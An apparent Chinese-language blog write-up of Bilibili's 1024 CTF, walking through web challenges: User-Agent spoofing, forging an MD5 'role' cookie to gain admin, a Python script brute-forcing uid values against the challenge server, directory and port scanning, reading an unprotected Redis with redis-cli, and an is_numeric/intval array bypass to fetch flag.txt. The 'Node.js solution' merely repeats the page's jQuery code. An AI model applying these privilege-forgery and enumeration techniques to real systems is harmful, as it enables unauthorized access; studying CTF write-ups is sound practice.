和往常一样每天打开电脑的第一件事就是打开B站。非常Amazing啊,1024这天打开后看到header居然是1024节
好奇打开看了一下,发现了233娘的挑战状…emm虽然不是第一次玩ctf,但B站的首个ctf怎么也要玩一下的嘛🤭
不过做完之后感觉B站的题有点怪,群里的大佬们也在吐槽题目有点离谱 不过作为一个臭弟弟,自然没有发言权,所以还是写写自己会做的wp算鸟 –(˙<>˙)/–
这次不是🕊!

前言

感觉这次会做的题和攻防世界的入门题挺像的,都是些常规的套路(除了某些猜猜猜除外)。不会的还是不会,希望B站官方出个WP解解惑。
希望看到B站官网wp的时候我不会打自己一巴掌233…😄
这次就做了七题,做完后发现网上的答案都是7题~emmm看来和真正的大佬还是有差距啊!

  • 页面的背后是什么?
  • 真正的秘密只有特殊的设备才能看到
  • 密码是啥?
  • 对不起,权限不足~
  • 别人的秘密
  • 结束亦是开始
  • 第七题
  • 第八题
  • 第九题
  • 第十题

页面的背后是什么?

第一题没啥好讲的,标准的第一题,另外题目页面的背后是什么 也在暗示。
正如大部分的ctf题一样,第一题一般都是在原码中找flag, 果断按下F12果然看到了flag. 直接拿下!~

真正的秘密只有特殊的设备才能看到

进到页面看到需要使用bilibili Security Browser浏览器访问~, 再和题目特殊的设备一结合那肯定就是要我们伪装特定的浏览器。
浏览器的标识那肯定就是UA嘛,所以这题就是用b站的UA来访问~
其实这道题在一个月前的政采云前端题中也有出现!
具体的方法有如下几种(我个人能想到的):

  1. 直接浏览器改UA(最佳答案)
  2. POSTMAN发送http请求
  3. 用python解决

我这里挑最简单的方法->浏览器直接来,如图:

答案

密码是啥?

这题就两个字:离谱 !!!!
这题我一开始还在看是不是sql注入,然后爆出账号密码,结果是弱密码… 非常的无语😶
讲白了就是猜,硬猜!

对不起,权限不足~

第四题一来,看到的是欢迎超级管理员登录
我一开始的想法是结合第三题的登录,把第三题登录后的cookie弄过来,结果尝试后发现不行。
一开始的思路不对,导致我在这里卡了半个小时,后来看到超级管理员这个词感觉不太对劲,然后再看了cookie一眼,发现多了一个key role
再看了一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$.ajax({
url: "api/ctf/4",
type: "get",
success:function (data) {
console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~答案是 : {{ " + data.data + " }}".toLowerCase() )
} else {
// 如果没值
$('#flag').html("有些秘密只有超级管理员才能看见哦~")
}
}
})

又是 API 返回 flag,用手指头想都知道鉴权是 Cookie 做的, 再联合超级管理员,接触过ctf的都清楚userMD5都是粘在一起的
然后我差了一下role这里的md5,真的查到了->user:

这里解出来的是user,那么不用多说了吧,肯定是把管理员的md5换进去囖!

通过查超级管理员的md5,芜湖得到答案!
role=7b7bc2512ee1fedcd76bdc68926d4f7b

别人的秘密

这题和第三题一样,就离谱的过分!!又是JQ这道题更离谱,上来先在 jQuery 的 $对象下挂了一个 getUrlParam 方法用来获取 uid、然后还有一个当 uid 不存在时给予默认值的方法(默认值取 100336889),接下来就是 GET /api/ctf/5?uid=${uid}。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$(function () {
(function ($) {
$.getUrlParam = function (name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]); return null;
}
})(jQuery);

var uid = $.getUrlParam('uid');
if (uid == null) {
uid = 100336889;
}
$.ajax({
url: "api/ctf/5?uid=" + uid,
type: "get",
success: function (data) {
console.log(data);
if (data.code == 200) {
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~flag : " + data.data)
} else {
// 如果没值
$('#flag').html("这里没有你想要的答案~")
}
}
})
});

没什么好说的,直接暴力遍历就vans了。
Node.js解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$(function () {
(function ($) {
$.getUrlParam = function (name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]); return null;
}
})(jQuery);

var uid = $.getUrlParam('uid');
if (uid == null) {
uid = 100336889;
}
$.ajax({
url: "api/ctf/5?uid=" + uid,
type: "get",
success: function (data) {
console.log(data);
if (data.code == 200) {
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~flag : " + data.data)
} else {
// 如果没值
$('#flag').html("这里没有你想要的答案~")
}
}
})
});

python3解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib.request
from urllib.request import DataHandler

url = 'http://45.113.201.36/api/ctf/5?uid='
headers = {
'User-Agent': 'bilibili Security Browser',
'cookie': 'session=233333333333333333333333333333333333; Path=/; Domain=45.113.201.36; '
'Expires=Sun, 24 Oct 2021 06:24:58 GMT;role=7b7bc2512ee1fedcd76bdc68926d4f7b; Path=/; '
'Domain=45.113.201.36; '
}
for i in range(100336889, 100337889):
request = urllib.request.Request(url + str(i), headers=headers)
response = urllib.request.urlopen(request)
print(response.read())

结束亦是开始

从第六题开始,所有题目都说「接下来的旅程,需要少年自己去探索啦~」,也就是说接下来所有的题目都是 Web 盲题。

看源码每一个地方能提交的,找了半天也没找到可以下手的地方,URL 的格式是 /blog/single.php?id=1
做这题的时候已是下午6点多了,想不出来怎么弄只能挂个dirsearch来爆破目录然后去恰饭了。
爆破得到了一个路径,该路径是指向第十题的
然后用端口扫描发现了第八题的flag,然后就没有然后了~….我好菜啊!!!!

第八题

这题要靠端口扫描,对常规端口扫描后发现6379端口开发,然后就是有手就行的未设防Redis服务器啦。
直接用终端连接靶机,直接拿下:

1
2
3
4
$ redis-cli -h [靶机 IP] -p 6379
45.113.201.36:6379> keys
flag8
45.113.201.36:6379> get flag8

吐槽一下我前面的大佬,把很多无关的flag都丢进来,搞的我白开心了一场~/(ㄒoㄒ)/~~

第十题

这题的入口是从爆出来的,爆破得到了一个目录test.php
进入后看到是一个jsFuck,直接丢到控制台运行一下~
得到了两句话

1
2
3
var str1 = "\u7a0b\u5e8f\u5458\u6700\u591a\u7684\u5730\u65b9";
var str2 = "bilibili1024havefun";
console.log()

作为老web狗,一看这个编码反手就是丢控制台,得到:程序员最多的地方,那么程序猿最多的地方是哪?都懂吧?
然后搜索bilibili1024havefun,果然找到了!

接着把仓库clone下来,或者直接在github上看~
那么现在我们知道了文件名end.php,也知道了对应的后端代码,所以这题目就在/blog/end.php里面了。再看看代码is_numeric,因此这题就是is_numericintval绕过囖,所以最终的url是:
/blog/end.php?id[]=2&id[]=2&url=./flag.txt

这里我一开始绕过后还是得不到flag,最后看群里的大佬吐槽才发现原来是flag.txt…..🤮
然后我们会看到一张图片,用编辑器打开后在最后面就能找到flag了,end!

最后再吐槽一下,当时可能做的人太多了。估计很多大佬都在玩靶机,活活拖死靶机~233

尾声

也没啥好说的了,该会的做了,除了第九题题目都没看到外,第6题、第7题我是确实不会~无fucker说…